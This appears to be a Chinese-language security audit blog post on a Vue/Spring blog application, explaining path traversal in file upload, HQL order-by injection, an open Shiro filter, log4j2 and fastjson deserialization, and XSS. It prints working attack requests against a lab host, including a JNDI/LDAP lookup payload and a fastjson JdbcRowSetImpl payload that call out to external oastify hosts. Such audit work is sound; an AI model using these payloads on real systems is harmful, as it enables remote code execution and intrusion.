Blog Vue Spring审计报告

Blog Vue Spring审计报告

1.路径遍历&任意文件上传

在文件上传功能中,虽然对文件名进行了UUID随机化处理并替换了空格,但未对文件名中的特殊字符(如../)进行充分过滤,存在路径遍历风险。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public Result upload(HttpServletRequest request, MultipartFile image) {
        Result r = new Result();
        SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
        StringBuffer url = new StringBuffer();
        String filePath = sdf.format(new Date());
        File baseFolder = new File(baseFolderPath + filePath);
        if (!baseFolder.exists()) {
            baseFolder.mkdirs();
        }
        url.append(request.getScheme())
                .append("://")
                .append(request.getServerName())
                .append(":")
                .append(request.getServerPort())
                .append(request.getContextPath())
                .append("/")
                .append(filePath);
        String imgName = UUID.randomUUID() + "_" + image.getOriginalFilename().replaceAll(" ", "");
        try {
            File dest = new File(baseFolder, imgName);
            image.transferTo(dest);
            url.append("/").append(imgName);
            r.setResultCode(ResultCode.SUCCESS);
            r.simple().put("url", url);
        } catch (IOException e) {
            logger.error("文件上传错误 , uri: {} , caused by: ", request.getRequestURI(), e);
            r.setResultCode(ResultCode.UPLOAD_ERROR);
        }
        return r;
    }
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
POST /upload HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: 815409e2-a77d-4a42-95f5-e371b121ff00
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=815409e2-a77d-4a42-95f5-e371b121ff00
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary35a81533-bd55-45
Content-Length: 208

------WebKitFormBoundary35a81533-bd55-45
Content-Disposition: form-data; name="image"; filename="../../../fuzz.html"
Content-Type: text/html

This is test file
------WebKitFormBoundary35a81533-bd55-45--

配置文件定义上传路径为images

img

实际可使用../../跨目录上传到根目录,并且后缀名过滤不严,但由于SpringBoot默认不解析JSP脚本,所以无法利用

img

2.SQL注入

网站使用Hibernate框架,Hibernate框架是JDBC的升级版,底层默认使用PrepareStatment预编译,但是这里SQL语句直接拼接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public List<Article> listArticles(PageVo page) {

        StringBuilder hql = new StringBuilder("from Article");

        if (null != page.getName() && !"".equals(page.getName())) {
            hql.append(" order by ");
            hql.append(page.getName());
        }

        if (null != page.getSort() && !"".equals(page.getSort())) {
            hql.append(" ");
            hql.append(page.getSort());
        }

        Query query = getSession().createQuery(hql.toString());

        if (null != page.getPageNumber() && null != page.getPageSize()) {
            query.setFirstResult(page.getPageSize() * (page.getPageNumber() - 1));
            query.setMaxResults(page.getPageSize());
        }

        return query.list();

    }
GET /articles?pageNumber=1&pageSize=5&name=id&sort=desc HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: 815409e2-a77d-4a42-95f5-e371b121ff00
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=815409e2-a77d-4a42-95f5-e371b121ff00
Connection: close

img

img

img

img

3.Shiro权限校验不严

Shiro安全框架配置过于宽松,默认允许所有请求访问。

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) {
    ShiroFilterFactoryBean shiroFilterFactoryBean = new ShiroFilterFactoryBean();
    shiroFilterFactoryBean.setSecurityManager(securityManager);

    Map<String, String> filterChainDefinitionMap = new LinkedHashMap<String, String>();  
   /* filterChainDefinitionMap.put("/", "anon");  


    filterChainDefinitionMap.put("/**", "anon");

    //返回json数据,由前端跳转
    shiroFilterFactoryBean.setLoginUrl("/handleLogin");

    shiroFilterFactoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap);
    return shiroFilterFactoryBean;
}

4.log4j2反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
GET /tags HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: ${jndi:ldap://ygic8596htrku9fqbkeeiyunxe35rvfk.oastify.com}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true; JSESSIONID=4a298d56-b580-4b3a-a4d8-e9d290478682
Connection: close

img

查看依赖发现网站使用了log4j2组件

img

全局搜索logger.info()关键字,查看是否存在可控变量,发现不存在

img

查找路由,定位到路由,发现存在一个自定义注解LogAnnotation

@LogAnnotation(module = “标签”, operation = “获取所有标签”)

img

虽然你的 LogAspect没有直接使用 **logger.info()** 打印用户输入,但它通过以下方式间接将用户可控数据写入数据库日志表

1
2
3
4
5
6
7
8
//请求的方法名
String className = joinPoint.getTarget().getClass().getName();
String methodName = signature.getName();
log.setMethod(className + "." + methodName + "()");

//获取request 设置IP地址
HttpServletRequest request = HttpContextUtils.getHttpServletRequest();
log.setIp(IpUtils.getIpAddr(request));

5.提交评论处反射XSS

img

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /articles/publish HTTP/1.1
Host: 192.168.112.203:8888
Accept: application/json, text/plain, */*
Oauth-Token: d201e40d-9843-49bf-b807-da57badb6a12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 238

{"id":"","title":"111","summary":"111","category":{"avatar":"/category/front.png","categoryname":"前端","description":"","id":1},"tags":[{"id":1}],"body":{"content":"<script>alert(1)</script>","contentHtml":"<script>alert(1)</script>"}}

6.fastjson反序列化

发现项目fastjson依赖为1.2.44,全局搜索Json.parse/Json.ParseObject关键字,发现不存在

1
2
3
4
5
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.44</version>
</dependency>

img

那为什么这个login接口会存在fastjson反序列化漏洞呢?“我没有写 JSON.parse(),也没有 import com.alibaba.fastjson,为什么 /login 接口还会触发 Fastjson 反序列化漏洞?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.shimh.controller;

import javax.servlet.http.HttpServletRequest;

import com.shimh.common.annotation.LogAnnotation;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.LockedAccountException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

import com.shimh.common.constant.Base;
import com.shimh.common.constant.ResultCode;
import com.shimh.common.result.Result;
import com.shimh.entity.User;
import com.shimh.oauth.OAuthSessionManager;
import com.shimh.service.UserService;

/**
 * 登录
 *
 * @author shimh
 * <p>
 * 2018年1月23日
 */
@RestController
public class LoginController {

    @Autowired
    private UserService userService;

    @PostMapping("/login")
    @LogAnnotation(module = "登录", operation = "登录")
    public Result login(@RequestBody User user) {
        Result r = new Result();
        executeLogin(user.getAccount(), user.getPassword(), r);
        return r;
    }

原因是Spring MVC 在处理 @RequestBody注解时

  1. 接收到 JSON 请求体;
  2. 查找一个 HttpMessageConverter 来把 JSON 转成 User 对象;
  3. 如果项目中引入了 Fastjson,并且配置了 FastJsonHttpMessageConverter,Spring 就会用 Fastjson 来解析 JSON!

所以,即使你的 Controller 没 import Fastjson,也没调用 JSON.parseObject,只要 Spring 用了 Fastjson 做消息转换,反序列化就由 Fastjson 完成。

正好WebMvcConfig.java这个配置类配置了消息转换

img

  1. 它将 FastJsonHttpMessageConverter 注册为 Spring MVC 的 JSON 消息转换器;
  2. 所有带 @RequestBody 的接口(包括 /login)都会使用 Fastjson 来反序列化 JSON;
  3. 而你的 Fastjson 版本是 1.2.44 —— 这是一个已知可被 RCE 利用的高危版本;
  4. 即使你没写 JSON.parseObject(),Spring 在处理请求时会自动调用它。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
POST /login HTTP/1.1
Host: 192.168.112.203:8888
Content-Length: 215
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.112.203:8888
Referer: http://192.168.112.203:8888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9034114d-3790-400e-b46d-da276f66bbd9; authenticated=true; user_role=admin; session_valid=true; is_logged_in=true; admin_access=true
Connection: close

{"aaa":{"@\x74ype":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@\x74ype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://j6q1nsz49kznpz2hwyp6tijrui09o0cp.oastify.com","autoCommit":true}}

img

By Lsec
最后更新于 Dec 19, 2025 16:00 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ